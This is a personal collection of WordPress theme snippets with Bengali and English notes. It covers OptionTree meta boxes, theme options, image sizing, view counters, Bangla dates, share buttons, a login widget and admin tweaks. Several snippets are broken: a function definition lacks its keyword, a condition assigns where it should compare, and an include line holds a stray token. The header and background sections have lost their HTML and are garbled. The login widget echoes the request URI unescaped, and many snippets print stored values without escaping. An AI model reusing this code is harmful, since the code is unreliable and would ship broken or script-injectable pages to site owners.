  1665. ডাউনলোড করার পর আপনার থিমে option-tree folder টি রেখে দিবেন
  1666. option-tree folderএর মধ্যে থাকা ot-loader.php টি function এ include করতে হবে
  1667. function এ  গিয়ে প্রথমে
  1668.  
  1669. //Activate Option Tree just copy & paste this code in functions.php
  1670.  
  1671. //add_filter( 'ot_show_pages', '__return_false' ); কাজ শেষে এই লাইনটির কমেন্ট উঠিয়ে দিতে হবে
  1672. add_filter( 'ot_show_new_layout', '__return_false' );
  1673. add_filter( 'ot_theme_mode', '__return_true' );
  1674. include_once( 'option-tree/ot-loader.php' );
  1675. include_once( 'inc/theme-options.php' );
  1676. include_once( 'inc/meta-boxes.php' );
  1677.  
  1678. Meta-box build-up করার জন্য প্রথমে assets > theme-mode > demo-meta-boxes.php ফাইলটি কপি করুন তারপর আপনার থিমের মধ্যে একটা ফোল্ডার করবেন নাম দিবেন inc এবার এই folder এর ভিতর ফাইলটি pasteকরুন এবার ফাইলটির নাম পরিবর্তন করে শুধু meta-boxes.php নাম দিন। এবার functons.php তে গিয়ে ফাইলটি চিনিয়ে দিবেন include_once('inc/meta-boxes.php'); এই লাইনটি লিখে দিবেন। এবার  meta-boxes.php ফাইলটি ওপেন করুন
  1679.  
  1680. function custom_meta_boxes() {
  1681.  
  1682.   /*
  1683.    * Create a custom meta boxes array that we pass to
  1684.    * the OptionTree Meta Box API Class.
  1685.    */
  1686.   $my_meta_box/*আপনার meta_box যেকোনো নাম */ = array(
  1687.     'id'          => 'demo_meta_box',/* আপনার meta_box নাম এবং id একই হইতে পারে */
  1688.     'title'       => __( 'Demo Meta Box', 'theme-text-domain' ),/* আপনার meta_box এর titl */
  1689.     'desc'        => '',/* আপনার meta_box এর দিকনির্দেশনা */
  1690.     'pages'       => array( 'post' ),/* আপনার post-type এর নাম */
  1691.     'context'     => 'normal',
  1692.     'priority'    => 'high',
  1693.     'fields'      => array(
  1694.       array(
  1695.         'label'       => __( 'Conditions', 'theme-text-domain' ),/* আপনার meta_box এর option এর label বা নাম  */
  1696.         'id'          => 'demo_conditions', /* আপনার custom-field id নাম */
  1697.         'desc'          => '', /* আপনার meta_box এর option এর দিকনির্দেশনা */
  1698.         'type'        => 'tab',/* আপনার meta_box এর option এর type */
  1699.         'std'         => 'off',/* আপনার meta_box এর option এর default data যেটা দেখতে চান */
  1700.         'operator'    => 'and',
  1701.         'condition'   => 'demo_show_gallery:is(on),demo_gallery:not()'
  1702.       ),
  1703.      
  1704.     )
  1705.   );
  1706.  
  1707.   /**
  1708.    * Register our meta boxes using the
  1709.    * ot_register_meta_box() function.
  1710.    */
  1711.   if ( function_exists( 'ot_register_meta_box' ) )
  1712.     ot_register_meta_box( $my_meta_box );/* সবশেষে আপনার meta_box নাম দিয়ে শেষ করতে হবে*/
  1713.  
  1714. }
  1715.  
  1716. this code is for specific page metabox
  1717. --------------------------------------------
  1718. $price_page_meta_box = array(
  1719.     'id'          => 'price_page_meta_box',
  1720.     'title'       => 'Pricing Page Table Information',
  1721.     'desc'        => '',
  1722.     'pages'       => array( 'page' ),
  1723.     'context'     => 'normal',
  1724.     'priority'    => 'high',
  1725.     'fields'      => array(
  1726.       array(
  1727.         'label'       => 'Pricing Page Table Head',
  1728.         'id'          => 'pric_table_head',
  1729.         'std'          => '',
  1730.         'type'        => 'textarea'
  1731.       ),
  1732.     )
  1733.   );
  1734.  
  1735.   $post_id = $_GET['post'] ? $_GET['post'] : $_POST['post_ID'];
  1736. $template_file = get_post_meta($post_id, '_wp_page_template', TRUE);
  1737.  
  1738. if ($template_file == 'price-newmeta.php') {
  1739.     ot_register_meta_box( $price_page_meta_box );
  1740. }
  1741.  
  1742.  
  1743. এবার dashboard গিয়ে দেখবেন custom-field এর স্থলে আলাদাভাবে  meta-boxes চলে এসেছে
  1744.  
  1745. //option tree থেকে শুধুমাত্র  metabox use করতে নিচের code লেখুন functions.php
  1746. add_filter( 'ot_show_pages', '__return_false' );
  1747. add_filter( 'ot_use_theme_options', '__return_false' );
  1748.     ====/   or  /====
  1749. function remove_ot_menu () {
  1750.     remove_submenu_page( 'themes.php', 'ot-theme-options' );
  1751. }
  1752. add_action( 'admin_init', 'remove_ot_menu' );
  1753.  
  1754.  
  1755. option build-up করার জন্য প্রথমে assets > theme-mode > demo-theme-options.php ফাইলটি কপি করুন তারপর আপনার থিমের মধ্যে একটা ফোল্ডার করবেন নাম দিবেন inc এবার এই folder এর ভিতর ফাইলটি pasteকরুন এবার ফাইলটির নাম পরিবর্তন করে শুধু theme-options.php নাম দিন। এবার functons.php তে গিয়ে ফাইলটি চিনিয়ে দিবেন include_once(meta'inc/theme-options.php'); এই লাইনটি লিখে দিবেন। এবার dashboard > appearance গিয়ে দেখবেন theme option চলে এসেছে
  1756.  
  1757. এবার theme-options.php ফাইলটির ভিতরের যেই sections এবং settings গুলি দরকার নেই সেইগুলি কেটে দিব।   settings এর ভিতর যতগুলি array নিবেন ততগুলি option তৈরি হবে  প্রত্যেকটি sections এর under এ।sections গুলু আপনার ইচ্ছামত যেইকয়টা লাগবে সেই কয়টা নিতে পারবেন এবং নাম দিতে পারবেন। এ। sections এর array তেtitle & id নিলেই হবে আর কিছু লাগবেনা
  1758.  
  1759.         //Create Option Tree In the theme-options.php
  1760. -----------------------------------------------------------
  1761.  
  1762.     <?php
  1763.         add_action( 'admin_init', 'custom_theme_options', 1 );
  1764.         function custom_theme_options() {
  1765.             $saved_settings = get_option( 'option_tree_settings', array() );
  1766.             $custom_settings = array(
  1767.                 'sections' => array(
  1768.                 array(
  1769.                 'id' => 'general',
  1770.                 'title' => 'Site Settings'
  1771.                 )
  1772.                 ),
  1773.                 'settings' => array(
  1774.                 array(
  1775.                 'id' => 'logo_text',
  1776.                 'label' => 'Logo Text',
  1777.                 'desc' => 'Use H1, H2, H3 tag',
  1778.                 'type' => 'textarea',
  1779.                 'section' => 'general'
  1780.                 ),
  1781.                 array(
  1782.                 'id' => 'footer_text',
  1783.                 'label' => 'Footer Text',
  1784.                 'type' => 'textarea',
  1785.                 'section' => 'general'
  1786.                 )
  1787.                 )
  1788.                 );
  1789.                 if ( $saved_settings !== $custom_settings ) {
  1790.                 update_option( 'option_tree_settings', $custom_settings );
  1791.                 }
  1792.         }
  1793.     ?>
  1794.  
  1795.         //Get Data From Option Tree
  1796. ------------------------------------------------------
  1797.         //Condtional Data
  1798. <?php if ( function_exists( 'get_option_tree') ) : if( get_option_tree( 'your_tree_id') ) : ?>
  1799. <?php get_option_tree( 'your_tree_id', '', true ); ?>
  1800. <?php else : ?>
  1801. Your Default Data here
  1802. <?php endif; endif; ?>
  1803.  
  1804. == example ==
  1805. <?php if ( function_exists( 'get_option_tree') ) : if( get_option_tree( 'header-logo') ) : ?>
  1806. <img src="<?php get_option_tree( 'header-logo', '', true ); ?>" alt="" />
  1807. <?php else : ?>
  1808. <img src="<?php echo get_template_directory_uri(); ?>/img/logo.png" alt="" />
  1809. <?php endif; endif; ?>
  1810.  
  1811. ---------or----------------
  1812. <?php
  1813. $facebook = get_option_tree('facebook-link', '', false);
  1814. ?>
  1815. <?php echo $facebook; ?>
  1816.  
  1817. ---------or----------------
  1818. <?php get_option_tree( 'logo_link1', '', true ); ?>
  1819.  
  1820.         //Get Data From Option Tree Metabox
  1821. ------------------------------------------------------
  1822. <?php
  1823. $case_sub = get_post_meta($post->ID, 'case_sub', true);
  1824. ?>
  1825. <?php echo $case_sub; ?>
  1826.  
  1827. ---------or----------------
  1828. <?php echo get_post_meta($post->ID, 'case_sub', true); ?>
  1829.    
  1830. // this code for css style dynamic by theme option and metabox
  1831.    
  1832. <style type="text/css">
  1833.     .logo {background: url(<?php get_option_tree( 'logo', '', 'true' ); ?>) no-repeat center center;}
  1834.     .prcbanner_content h1{color:<?php echo get_post_meta($post->ID, 'picker', true); ?>}
  1835. </style>
  1836.  
  1837. /*for option tree  metabox short code support */
  1838. <?php
  1839. $mixitup = get_post_meta($post->ID, 'mixitup', true);
  1840. ?>
  1841.  
  1842. <?php echo do_shortcode($mixitup); ?>
  1843.  
  1844. ======================================================
  1845.  How to get cropped / resized images through option tree meta box
  1846.  metabox image resize code
  1847. ======================================================
  1848.  
  1849. // register your gallery type meta box and use the following code to display images.
  1850. <?php
  1851.     if ( function_exists( 'ot_get_option' ) ) {
  1852.        $images = explode( ',', get_post_meta( get_the_ID(), 'field-id', true ) );
  1853.       if ( !empty( $images ) ) {
  1854.         foreach( $images as $id ) {
  1855.           if ( !empty( $id ) ) {
  1856.             $full_img_src = wp_get_attachment_image_src( $id, 'your_crop_image' );
  1857.             echo '<li><img src="' . $full_img_src[0]. '"/></li>';
  1858.           }
  1859.         }
  1860.       }
  1861.     }
  1862. ?>
  1863. In line no 4 the field-id is your meta box id.You can define as much as image sizes you want with your-image-size which you can see in the line no 08 & 09 . The your-image-size is your image id which you created by add_image_size() function in the functions.php .Thank You!
  1864.  
  1865. //------------------ another way maybe works not tested ------------------------------
  1866.     $burst_img = get_post_meta( $post->ID, 'burst_img',true);              
  1867.     $burst_img=wp_get_attachment_image_src( $burst_img, 'full' );
  1868.    
  1869.    
  1870. //option tree image resize code
  1871. paste this code into functions.php
  1872. ----------------------------------
  1873. function custom_get_attachment_id( $guid ) {
  1874.   global $wpdb;
  1875.  
  1876.   /* nothing to find return false */
  1877.   if ( ! $guid )
  1878.     return false;
  1879.  
  1880.   /* get the ID */
  1881.   $id = $wpdb->get_var( $wpdb->prepare(
  1882.     "
  1883.     SELECT  p.ID
  1884.     FROM    $wpdb->posts p
  1885.     WHERE   p.guid = %s
  1886.             AND p.post_type = %s
  1887.     ",
  1888.     $guid,
  1889.     'attachment'
  1890.   ) );
  1891.  
  1892.   /* the ID was not found, try getting it the expensive WordPress way */
  1893.   if ( $id == 0 )
  1894.     $id = url_to_postid( $guid );
  1895.  
  1896.   return $id;
  1897. }
  1898.  
  1899. paste this code where you want to display
  1900. -------------------------------------
  1901. $slides = ot_get_option( 'my_slider', array() );
  1902. if ( ! empty( $slides ) ) {
  1903.     foreach( $slides as $slide ) {
  1904.         $id = custom_get_attachment_id( $slide['image'] );
  1905.         $src = wp_get_attachment_image_src( $id, 'you-image-size' );
  1906.         echo 'HTML HERE';
  1907.     }
  1908. }
  1909.  
  1910. ---------------- // or try this ----------------------------
  1911.  
  1912.     if ( function_exists( 'ot_get_option' ) ) {
  1913.         $images = explode( ',', ot_get_option( 'field_id', '' ) );
  1914.             if ( ! empty( $images ) ) {
  1915.             foreach( $images as $id ) {
  1916.             if ( ! empty( $id ) ) {
  1917.             $full_img_src = wp_get_attachment_image_src( $id, 'your_crop_image' );
  1918.  
  1919.             echo '<li><img src="' . $full_img_src[0]. '"/></li>';
  1920.            
  1921.                 }      
  1922.             }
  1923.         }
  1924.     }
  1925. //------------------ another way maybe works not tested ------------------------------
  1926.    
  1927.     $burst_img = ot_get_option('burst_img','');                
  1928.     $burst_img=wp_get_attachment_image_src( $burst_img, 'full' );
  1929.  
  1930. =======================================================
  1931. metabox category-select type query code
  1932. =======================================================
  1933. <?php
  1934. $cat = ot_get_option( 'your_id', '', false, true, 0 );
  1935. $args = array( 'numberposts' =>1, 'category'=> $cat);
  1936. $postslist = get_posts( $args );
  1937. foreach ($postslist as $post) :  setup_postdata($post);
  1938. ?>
  1939.  
  1940. <?php the_title(); ?>
  1941. <?php the_content(); ?>
  1942.  
  1943. <?php endforeach; ?>
  1944.  
  1945. =======================================================
  1946. metabox slide type query code fpr owl slider
  1947. =======================================================
  1948.  
  1949. //this code paste in metabox.php file
  1950. array(
  1951.     'id'          => 'spyr_demo_slider',
  1952.     'label'       => __( 'Slider', 'text-domain' ),
  1953.     'desc'        => __( 'Your description', 'text-domain' ),
  1954.     'type'        => 'slider',
  1955. )
  1956.  
  1957. //this code paste in template.php file
  1958. <?php
  1959. $spyr_demo_slider = get_post_meta( $post->ID, 'spyr_demo_slider', true );
  1960.  
  1961. // Loop through the array to build your Slider.
  1962. // Note that every slider is different
  1963. // We have access to the following array keys
  1964. // title, description, image and link
  1965. echo '<div id="owl-demo" class="owl-theme">';
  1966. foreach( $spyr_demo_slider as $slide ) {
  1967.     echo '<div class="item"><img src="'. $slide['image'] .'" width="100%" height="auto"
  1968.          alt="'. $slide['description'] .'" title="'. $slide['title'] .'" /></div>';
  1969. }
  1970. echo '</div>';
  1971.  
  1972. ?>
  1973.  
  1974. =======================================================
  1975. metabox list type query code
  1976. =======================================================
  1977. <?php
  1978.  
  1979. $list_item = ot_get_option( 'id', array() );
  1980.  
  1981. if ( !empty( $list_item ) ) {
  1982.  
  1983. echo '<div>';
  1984.  
  1985. foreach( $list_item as $name ) {
  1986.  
  1987. echo '<div>'.$name['title'].'</div>
  1988.  
  1989. ';
  1990.  
  1991. }
  1992.  
  1993. echo '</div>';
  1994.  
  1995. }
  1996.  
  1997. ?>
  1998.  
  1999. ------------------------------------------------------ 
  2000.         //Simple Data
  2001. <?php get_option_tree( 'facebook', '', true ); ?>
  2002.  
  2003. নিচের কোডগুলু দিয়েও করা যায় । অনেকগুলু option দরকার হইলে আমরা variable নিয়ে করব যাতে করে আমরা echo করে নিয়ে নিতে পারি । আমরা যখন condition ব্যাবহার করবো তখন variable নেওয়া লাগে।
  2004. <?php $your_variable = get_option_tree( 'your_tree_id', '', false ); ?>
  2005. <?php echo $your_variable; ?> এই কোডটি যেখানে দরকার সেখানে paste করব
  2006. -------------------------------------------------------------
  2007. প্রথমে variable নিতে হবে নোটঃ একাধিক option দরকার হইলে একাধিক variable নিবেন  <?php এখানে হবে ?>
  2008. যেমনঃ
  2009. <?php $your_variable = get_option_tree( 'your_tree_id', '', false )
  2010.       $your_variable = get_option_tree( 'your_tree_id', '', false );
  2011. ?>
  2012. তারপর নিচে নিচে condition হবে প্রত্যেকটার জন্য আলাদা আলাদা করে condition নিবেন
  2013. যেমনঃ
  2014. <?php if(your_variable) : ?>
  2015.     <?php echo $your_variable; ?>
  2016. <?php else : ?>
  2017.     your fallback data
  2018. <?php endif; ?>
  2019.  
  2020. <?php if(your_variable) : ?>
  2021.     <?php echo $your_variable; ?>
  2022. <?php else : ?>
  2023.     your fallback data
  2024. <?php endif; ?>
  2025.  
  2026. // slider না দেখতে চাইলে নিচের কোডগুলি দিয়ে করতে পারেন
  2027. <?php
  2028. $slider_appearance = get_option_tree( 'slider_appearance', '', false );
  2029. ?>
  2030.  
  2031. <?php if($slider_appearance = 'no') : ?>
  2032. <?php /* No Data */?>
  2033. <?php if($slider_appearance = 'yes') : ?>
  2034. <?php get_template_part('slider'); ?>
  2035. <?php endif; endif; ?>
  2036.  
  2037. ============================================================
  2038. // REMOVE BAD P and BR TAGS FROM NAME ANCHORS
  2039. ============================================================
  2040. add_filter('the_content', 'remove_bad_pbr_tags');
  2041. function remove_bad_pbr_tags($content) {
  2042.         $pattern = '/<p><a name=[\"\'](.*)[\"\']><br\s*\/>\s*<h([1-9])>(.*)<\/h([1-9])>\s*<p><\/a><br\s*\/>/';
  2043.         $replacement = "<a name=\"$1\"><h$2>$3</h$4></a>\n<p>";
  2044.     $content = preg_replace($pattern, $replacement, $content);
  2045.     return $content;
  2046. }
  2047. -------------------------------------------------------------
  2048.                         or
  2049. -------------------------------------------------------------
  2050. // REMOVE BAD P and BR TAGS FROM NAME ANCHORS
  2051. remove_filter( 'the_content', 'wpautop' );
  2052. remove_filter( 'the_excerpt', 'wpautop' );
  2053.  
  2054. function wpse_wpautop_nobr( $content ) {
  2055.     return wpautop( $content, false );
  2056. }
  2057.  
  2058. add_filter( 'the_content', 'wpse_wpautop_nobr' );
  2059. add_filter( 'the_excerpt', 'wpse_wpautop_nobr' );
  2060.  
  2061. =============================================================
  2062. In qTranslate-x Change logo/image based on language selected
  2063. =============================================================
  2064.     <?php  
  2065.     if ( qtranxf_getLanguage() == 'pt' ) {
  2066.       echo '<img src="http://www.cunhapontes.adv.br/wp-content/themes/cunhapontes/img/locatcontato.png" alt="" />';
  2067.     }
  2068.     elseif ( qtranxf_getLanguage() == 'es' ) {
  2069.      echo '<img src="http://www.cunhapontes.adv.br/wp-content/themes/cunhapontes/img/location_es.png" alt="" />';
  2070.     }
  2071.     elseif ( qtranxf_getLanguage() == 'en' ) {
  2072.      echo '<img src="http://www.cunhapontes.adv.br/wp-content/themes/cunhapontes/img/location_eng.png" alt="" />';
  2073.     }
  2074.   ?>
  2075.  
  2076. =============================================================
  2077. <?                  //Post View Count
  2078. =============================================================
  2079.         //আপনার functions.php তে এই কোডটি যুক্ত করুন
  2080. -------------------------------------------------------------
  2081.             // function to display number of posts.
  2082. getPostViews($postID){ $count_key = 'post_views_count'; $count = get_post_meta($postID,
  2083. $count_key, true); if($count==''){ delete_post_meta($postID, $count_key);
  2084. add_post_meta($postID, $count_key, '0'); return "0 View"; } return $count.' Times';}
  2085.  
  2086.             // function to count views.
  2087. function setPostViews($postID) { $count_key = 'post_views_count';
  2088. $count = get_post_meta($postID, $count_key, true); if($count==''){ $count = 0;
  2089. delete_post_meta($postID, $count_key); add_post_meta($postID, $count_key, '0'); }else{
  2090. $count++; update_post_meta($postID, $count_key, $count); }}
  2091.  
  2092. আপনি যেখানে পোস্ট ভিউ কাউন্ট সেট করতে চান সেখানকার  লুপে এই কোডের পরে এই কোডটি যুক্ত করুন আপনি যেখানে পোস্ট ভিউ কাউন্ট দেখাতে চান
  2093.  
  2094.  
  2095. =============================================================
  2096.             //Post View timer Count
  2097. =============================================================
  2098. <?php echo human_time_diff( get_the_time('U'), current_time('timestamp') ) . ' ago'; ?>
  2099.  
  2100. =============================================================
  2101.                     //Bangla date view
  2102. =============================================================
  2103.         //আপনার functions.php তে এই কোডটি যুক্ত করুন
  2104. -------------------------------------------------------------
  2105. function bn($mhm)
  2106. {
  2107.     $eng = array('January','February','March','April','May','June','July','August','September','October','November','December',
  2108.                  'Jan','Feb','Mar','Apr','May','Jun','Jul','Aug','Sep','Oct','Nov','Dec',
  2109.                  'Saturday','Sunday','Monday','Tuesday','Wednesday','Thursday','Friday',
  2110.                  'Sat','Sun','Mon','Tue','Wed','Thu','Fri',
  2111.                  '1','2','3','4','5','6','7','8','9','0',
  2112.                  'am','pm','st','nd','rd','th');
  2113.     $bng = array('জানুয়ারি','ফেব্রুয়ারি','মার্চ','এপ্রিল','মে','জুন','জুলাই','আগস্ট','সেপ্টেম্বর','অক্টোবর','নভেম্বর','ডিসেম্বর',
  2114.                  'জানু','ফেব্রু','মার্চ','এপ্রি','মে','জুন','জুলা','আগ','সেপ্টে','অক্টো','নভে','ডিসে',
  2115.                  'শনিবার','রবিবার','সোমবার','মঙ্গলবার','বুধবার','বৃহস্পতিবার','শুক্রবার',
  2116.                  'শনি','রবি','সোম','মঙ্গল','বুধ','বৃহঃ','শুক্র',
  2117.                  '১','২','৩','৪','৫','৬','৭','৮','৯','০',
  2118.                  'পূর্বাহ্ণ','অপরাহ্ণ','&#173;','&#173;','&#173;','&#173;');
  2119.     $con = str_replace($eng, $bng, $mhm);
  2120.     return $con;
  2121. }
  2122. add_action('wp_head', function() {
  2123. echo '<meta name="mhm" content="bdat 1.3" />';});
  2124. add_filter('the_date', 'bn');
  2125. add_filter('the_time', 'bn');
  2126. add_filter('the_views', 'bn');
  2127. add_filter('comments_number', 'bn');
  2128. add_filter('get_comment_date', 'bn');
  2129. add_filter('get_comment_time', 'bn');
  2130.  
  2131. ============================================================
  2132. How to add custom header and custom background in wordpress theme
  2133. ============================================================
  2134.  
  2135.         //Title: custom background.
  2136. ------------------------------------------------------------
  2137.         head.php
  2138. ..............
  2139. replace the
  2140. tag using bellow the code.
  2141. >
  2142.  
  2143. functions.php
  2144. .........................
  2145. this code put within the tag
  2146.  
  2147. $defaults = array(
  2148. 'default-color' => '#000',
  2149. 'default-image' => '',
  2150. 'wp-head-callback' => '_custom_background_cb',
  2151. 'admin-head-callback' => '',
  2152. 'admin-preview-callback' => ''
  2153. );
  2154. add_theme_support( 'custom-background', $defaults );
  2155.  
  2156.  
  2157. Title: custom Header/Logo
  2158. ---------------------------------------------
  2159.  
  2160. head.php
  2161. ..........................
  2162. Put this code where you want to upload your logo.
  2163. ----------------------------------------------
  2164.  
  2165. functions.php
  2166. ..........................
  2167. this code put within the tag
  2168.  
  2169. $defaults = array(
  2170. 'default-image' => '',
  2171. 'random-default' => true,
  2172. 'width' => 1000,
  2173. 'height' => 200,
  2174. 'flex-height' => true,
  2175. 'flex-width' => true,
  2176. 'default-text-color' => '#000',
  2177. 'header-text' => true,
  2178. 'uploads' => true,
  2179. 'wp-head-callback' => '',
  2180. 'admin-head-callback' => '',
  2181. 'admin-preview-callback' => '',
  2182. );
  2183. add_theme_support( 'custom-header', $defaults );
  2184.  
  2185.  
  2186. ===============================================
  2187. social share code for wordpress
  2188. ===============================================
  2189.  
  2190. -------------------------------------
  2191. <div class="social">
  2192.         <p>সবার সাথে শেয়ার করুন:</p>
  2193.         <!--Twitter-->
  2194.         <a class="twitter" href="http://twitter.com/home?status=<?php the_title(); ?>: <?php the_permalink(); ?>" target="_blank"><i class="fa fa-twitter"></i> </a>
  2195.         <!--Facebook-->
  2196.         <a class="facebook" href="http://www.facebook.com/sharer.php?u=<?php the_permalink();?>&amp;t=<?php the_title(); ?>" title="Share this post on Facebook!" onclick="window.open(this.href); return false;"><i class="fa fa-facebook"></i> </a>
  2197.         <!--Google Plus-->
  2198.         <a class="google-plus" target="_blank" href="https://plus.google.com/share?url=<?php the_permalink(); ?>"><i class="fa fa-google-plus"></i> </a>
  2199.         <a class="reddit" href="http://www.reddit.com/submit?url=<?php the_permalink(); ?>&amp;title=<?php the_title(); ?>" title="Reddit" rel="nofollow" target="_blank"><i class="fa fa-reddit"></i> </a>
  2200.         <a class="stumbleupon" href="http://www.stumbleupon.com/submit?url=<?php the_permalink(); ?>&amp;title=<?php the_title(); ?>" title="Stumble it" rel="nofollow" target="_blank"><i class="fa fa-stumbleupon"></i> </a>
  2201.         <!--Digg-->
  2202.         <a class="digg" href="http://digg.com/submit?url=<?php the_permalink(); ?>&amp;title=<?php the_title(); ?>" title="Digg this!" rel="nofollow" target="_blank"><i class="fa fa-digg"></i></a>
  2203.         <!--Linkedin-->
  2204.         <a class="linkedin" href="http://www.linkedin.com/shareArticle?mini=true&amp;title=<?php the_title(); ?>&amp;url=<?php the_permalink(); ?>" title="Share on LinkedIn" rel="external nofollow" rel="nofollow" target="_blank"><i class="fa fa-linkedin"></i></a>
  2205.         <!--Pinterest-->
  2206.         <a class="pinterest" href="http://pinterest.com/pin/create/button/?url=<?php the_permalink(); ?>&media=<?php $url = wp_get_attachment_url( get_post_thumbnail_id($post->ID) ); echo $url; ?>" title="Pinterest" rel="nofollow" target="_blank"><i class="fa fa-pinterest"></i></a>
  2207.         <!--Del.icio.us-->
  2208.         <a class="delicious" href="http://del.icio.us/post?url=<?php the_permalink(); ?>&amp;title=<?php the_title(); ?>" title="Bookmark on del.icio.us" rel="nofollow" target="_blank"><i class="fa fa-delicious"></i></a>
  2209.         <!--Email-->
  2210.         <a title="<?php _e('Share by email','cryst4l') ?>" href="mailto:?subject=Check this post - <?php the_title();?> &body= <?php the_permalink()?>&title="<?php the_title()?>" email"=""><i class="fa fa-envelope"></i> <span><?php _e('Share by email', 'cryst4l')?></span></a>
  2211.         <!--tumblr-->
  2212.         <a href="http://www.tumblr.com/share/link?url=<?php the_permalink(); ?>" target="blank_"><i class="fa fa-tumblr"></i></a></a>
  2213.         <!-- whatsapp -->
  2214. <a href="whatsapp://send?text=<?php the_title(); ?> - <?php the_permalink(); ?>" onclick="window.open(this.href, 'mywin','left=20,top=20,width=500,height=500,toolbar=1,resizable=0'); return false;" class="whatsapp"><i class="fa fa-whatsapp"></i></a>
  2215.  
  2216. <!--// share-xing -->
  2217.         <a rel="external nofollow" href="https://www.xing.com/spi/shares/new?url=<?php the_permalink();?>" target="_blank" title="Share on Xing" >
  2218.             <img src="https://prometheusc.com/wp-content/uploads/2018/11/xing1.png" alt="" /> Xing
  2219.         </a>
  2220.  
  2221.  
  2222. </div>
  2223.  
  2224.  
  2225.  
  2226.  ফেসুবকের বিভিন্ন লাইক বাটন যোগ করতে এখানে দেখতে পারেন
  2227.  ---------------------------------------------
  2228.  https://developers.facebook.com/docs/plugins/like-button/
  2229. ============================================
  2230.  /*Add Submenu in sidebar on wordpress*/
  2231. =============================================
  2232. /*Firstly, in your theme's functions.php, you need to write a function to register the names of your menus.*/
  2233.  
  2234.   function register_my_menus() {
  2235.   register_nav_menus(
  2236.     array( 'sidebar-menu' => __( 'Sidebar Menu' ) )
  2237.   );
  2238. }
  2239. add_action( 'init', 'register_my_menus' );
  2240.  
  2241. ================
  2242. for youtube thumbnail image
  2243. ========================
  2244. http://img.youtube.com/vi/your-youtube-video-id/sddefault.jpg
  2245.  
  2246. /*Display Menus on Theme
  2247.  
  2248. Once you've done that, your theme will be almost ready. The last preparation step is to tell the theme where you want the menus to show up.*/
  2249.  
  2250. <?php wp_nav_menu( array( 'theme_location' => 'sidebar-menu' ) ); ?>
  2251.  
  2252. /*That's all the background work. To finish, you would simply visit the Appearance -> Menus panel in your site admin.
  2253.  
  2254. Please read the wordpress codex site.. it has plenty of information on how to do this..*/
  2255.  
  2256.  
  2257. ==============================================
  2258. How to Remove WordPress Admin Bar for All Users Except Admin
  2259. ==============================================
  2260. add_action('after_setup_theme', 'remove_admin_bar');
  2261.  
  2262. function remove_admin_bar() {
  2263.  
  2264. if (!current_user_can('administrator') && !is_admin()) {
  2265.  
  2266. show_admin_bar(false);
  2267.  
  2268. }
  2269.  
  2270. }
  2271. ------------------------
  2272. If you want to disable it for all users, then simply paste this blew code in your theme’s functions.php file
  2273. ----------------------------------------------
  2274. show_admin_bar(false);
  2275.  
  2276. ==============================================
  2277. আপনার ওয়ার্ডপ্রেস ড্যাশবোর্ডর ‘Howdy’ লেখাকে পরিবর্তন করে দিন ইচ্ছা মতো যেকোনো কিছু।
  2278. ==============================================
  2279. add_filter('gettext', 'change_howdy', 10, 3);
  2280. function change_howdy($translated, $text, $domain) {
  2281.  
  2282. if (false !== strpos($translated, 'Howdy'))
  2283. return str_replace('Howdy', 'স্বাগতম', $translated);
  2284.  
  2285. return $translated;
  2286. }
  2287.  
  2288. এখানে আপনি ‘স্বাগতম’ এর জাইগায় আপনার পছন্দ মতো যেকোনো শব্দ দিতে পারেন। আজ তবে এখানে।ভাল থাকবেন।
  2289.  
  2290. ==============================================
  2291. এখন থেকে কেউ লগ আউট করলে সরাসরি তাকে নিয়ে যাবে হোম পেজে
  2292. ==============================================
  2293. add_action('wp_logout','go_home');
  2294. function go_home(){
  2295. wp_redirect( home_url() );
  2296. exit();
  2297. }
  2298.  
  2299. ==============================================
  2300. নিয়ে নিন সুন্দর একটা বাংলা লগিন/রেজিস্টার প্যানেল
  2301. ==============================================
  2302. খুবই সহজ সুধু নিছের কোড কপি করে আপনার সাইট এর sidebar এর text widget এ past করে সেভ করুন ব্যাস কাজ শেষ।
  2303.  
  2304. <?php global $user_ID, $user_identity, $user_level ?>
  2305. <?php if ( $user_ID ) : ?>
  2306. <h2> স্বাগতম/Welcome <strong><?php echo $user_identity ?></strong></h2>
  2307. <li><a href="<?php bloginfo('url') ?>/wp-admin/">ড্যাশবোর্ডে/Dashboard</a></li>
  2308. <?php if ( $user_level >= 1 ) : ?>
  2309. <li><a href="<?php bloginfo(‘url’) ?>/wp-admin/post-new.php">নতুন পোষ্ট লিখুন।/New Post</a></li>
  2310. <?php endif // $user_level >= 1 ?>
  2311. <li><a href="<?php bloginfo('url') ?>/wp-admin/profile.php">আপনার প্রোফাইল পাতা/Profile</a></li>
  2312. <li><a href="<?php bloginfo('url') ?>/wp-login.php?action=logout&amp;redirect_to=<?php echo urlencode($_SERVER['REQUEST_URI']) ?>">বের হয়ে যান/Logout</a></li>
  2313. </ul>
  2314. </li>
  2315. </ul>
  2316. <?php elseif ( get_option('users_can_register') ) : ?>
  2317. <h2><p style="text-align: center;">মেম্বার লগিন প্যানেল/Login panel</p></h2>
  2318. <hr/>
  2319. <ul>
  2320. <form action="<?php bloginfo('url') ?>/wp-login.php" method="post">
  2321. <p>
  2322. <label for="log"><input type="text" name="log" id="log" value="<?php echo wp_specialchars(stripslashes($user_login), 1) ?>" size="25" /> <br/>ইউজার নেম দিন/Username</label><br /><br/>
  2323. <label for="pwd"><input type="password" name="pwd" id="pwd" size="25" /><br />
  2324. পাসওয়ার্ড দিন/Password</label><br/><br/>
  2325. <input type="submit" name="submit" value="লগিন/Login" />
  2326. <label for="rememberme"><input name="rememberme" id="rememberme" type="checkbox" checked="checked" value="forever" />আমাকে মনে রাখুন/Remember Password</label><br />
  2327. </p>
  2328. <input type="hidden" name="redirect_to" value="<?php echo $_SERVER['REQUEST_URI']; ?>"/>
  2329. </form>
  2330. </li>
  2331.  
  2332. <hr/>
  2333.  
  2334. <a href="<?php bloginfo('url') ?>/wp-login.php?action=register">Registration/রেজিস্ট্রেশন</a>
  2335.  
  2336. <br/>
  2337.  
  2338. <a href="<?php bloginfo('url') ?>/wp-login.php?action=lostpassword">Reset Password/পাসওয়ার্ড পুনরুদ্ধার</a>
  2339. </ul>
  2340. <?php endif // get_option('users_can_register') ?>
  2341.  
  2342.  
  2343.  
  2344.  
  2345. ==============================================
  2346. আপনার ওয়ার্ডপ্রেস ড্যাশবোর্ড প্যানেল থেকে theme editor lock করে দিন কোড দিয়ে
  2347. ==============================================
  2348. add_action('admin_init', 'cwc_lock_theme');
  2349. function cwc_lock_theme() {
  2350. global $submenu, $userdata;
  2351. get_currentuserinfo();
  2352. if ($userdata->ID != 1) {
  2353. unset($submenu['themes.php'][5]);
  2354. unset($submenu['themes.php'][15]);
  2355. }
  2356. }
  2357.  
  2358. ==============================================
